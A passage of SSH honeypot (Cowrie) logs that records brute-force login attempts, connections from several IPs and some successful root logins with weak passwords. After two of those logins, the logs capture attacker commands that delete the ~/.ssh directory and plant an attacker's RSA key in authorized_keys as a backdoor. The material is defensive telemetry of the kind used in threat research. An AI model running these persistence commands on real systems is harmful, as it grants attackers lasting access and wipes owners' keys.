ish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:51.636246Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12011980","message":"login attempt [user/12011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:52.122615Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1122334","message":"login attempt [user/1122334] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:53.228873Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11121991","message":"login attempt [user/11121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:54.334952Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":48296,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d64e65b554","protocol":"ssh","message":"New connection: 160.22.123.78:48296 (10.17.0.5:22) [session: f2d64e65b554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:54.609618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:54.613750Z","src_ip":"160.22.123.78","session":"f2d64e65b554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:54.861270Z","src_ip":"160.22.123.78","session":"f2d64e65b554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101979","message":"login attempt [user/11101979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:55.444989Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"1234","message":"login attempt [a/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:55.902161Z","src_ip":"160.22.123.78","session":"f2d64e65b554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091992","message":"login attempt [user/11091992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:56.549801Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:57.152522Z","src_ip":"160.22.123.78","session":"f2d64e65b554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:57.655357Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":41988,"dst_ip":"159.203.135.109","dst_port":22,"session":"f665e55c5faf","protocol":"ssh","message":"New connection: 43.245.143.215:41988 (159.203.135.109:22) [session: f665e55c5faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:11.350853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:11.354666Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:11.642832Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qaz@1234","message":"login attempt [root/Qaz@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:12.827858Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:13.440101Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:13.443010Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:13.446037Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:13.736863Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:14.343919Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:14.346966Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:14.640828Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:14.644110Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c0eec65ae2","protocol":"ssh","message":"New connection: 43.245.143.215:41998 (159.203.135.109:22) [session: 45c0eec65ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:14.931003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:14.935131Z","src_ip":"43.245.143.215","session":"45c0eec65ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:15.227367Z","src_ip":"43.245.143.215","session":"45c0eec65ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:16.432695Z","src_ip":"43.245.143.215","session":"45c0eec65ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:17.727537Z","src_ip":"43.245.143.215","session":"45c0eec65ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":42008,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae43c1a0612","protocol":"ssh","message":"New connection: 43.245.143.215:42008 (159.203.135.109:22) [session: 5ae43c1a0612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:18.013621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:18.018666Z","src_ip":"43.245.143.215","session":"5ae43c1a0612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:18.307161Z","src_ip":"43.245.143.215","session":"5ae43c1a0612","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:19.491204Z","src_ip":"43.245.143.215","session":"5ae43c1a0612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:19.778015Z","src_ip":"43.245.143.215","session":"f665e55c5faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:28:19.782096Z","src_ip":"43.245.143.215","session":"5ae43c1a0612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":44168,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef9228b7c1d","protocol":"ssh","message":"New connection: 85.121.120.129:44168 (10.17.0.5:22) [session: 8ef9228b7c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:15.391891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:15.396827Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:15.470598Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qwerty123456","message":"login attempt [root/Qwerty123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:15.799117Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.013441Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.016553Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.020223Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.097775Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.279824Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.283417Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.362636Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.365214Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
